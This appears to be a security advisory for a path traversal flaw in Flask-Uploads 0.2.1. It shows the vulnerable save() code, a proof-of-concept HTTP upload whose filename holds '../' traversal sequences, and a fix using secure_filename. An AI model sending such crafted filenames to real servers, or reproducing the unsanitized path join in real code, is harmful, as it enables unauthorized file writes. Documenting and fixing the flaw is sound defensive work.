## https://sploitus.com/exploit?id=CFEC2654-5428-5BF7-8AD7-C16B9E27BA9E
# CVE-2026-XXXXX (Pending): Path Traversal in Flask-Uploads
## Vulnerability Information
- **Product**: Flask-Uploads
- **Version**: 0.2.1 (and potentially older versions)
- **Vulnerability Type**: Path Traversal (Directory Traversal)
- **CWE-ID**: CWE-22
- **Severity**: HIGH (CVSS 7.5)
- **Impact**: Arbitrary File Write, Remote Code Execution (RCE)
## Description
A critical path traversal vulnerability exists in `Flask-Uploads` version 0.2.1. The library fails to properly sanitize the filenames of uploaded files before saving them to the filesystem.
Specifically, the `save()` method in `flask_uploads.py` directly concatenates the upload destination path with the user-provided filename using `os.path.join()`. This allows an attacker to include directory traversal sequences (e.g., `../../`) in the filename, enabling them to write files to arbitrary locations on the server file system.
## Root Cause Analysis
**File**: `flask_uploads.py` (Line 132 in v0.2.1)
```python
def save(self, storage, filename=None):
if filename is None:
filename = storage.filename
# VULNERABLE CODE: No sanitization of 'filename'
target = os.path.join(self.destination, filename)
storage.save(target)
return filename
```
The application relies on the developer to sanitize the filename, but the library documentation implies that it handles file uploads securely. By default, if a developer passes a raw filename from a request, it leads to a vulnerability.
## Impact
1. **Arbitrary File Overwrite**: Attackers can overwrite critical system files (e.g., `ssh_host_key`, configuration files).
2. **Remote Code Execution (RCE)**: By uploading a malicious script (e.g., `.php`, `.py`) to a directory that is executed by the web server (like `cgi-bin` or a known static folder), an attacker can execute arbitrary commands on the server.
## Proof of Concept (PoC)
An attacker can exploit this vulnerability by sending a POST request with a crafted filename:
```http
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../../../tmp/pwned.txt"
Content-Type: text/plain
HACKED
------WebKitFormBoundary--
```
If the server uses `Flask-Uploads` to save this file, it will be written to `/tmp/pwned.txt` instead of the intended upload directory.
## Mitigation / Fix
The library should verify that the joined path is within the intended directory using `os.path.abspath` and `startswith`, or always use a sanitization function like `werkzeug.utils.secure_filename`.
**Recommended Fix:**
```python
from werkzeug.utils import secure_filename
# ...
filename = secure_filename(filename)
target = os.path.join(self.destination, filename)
```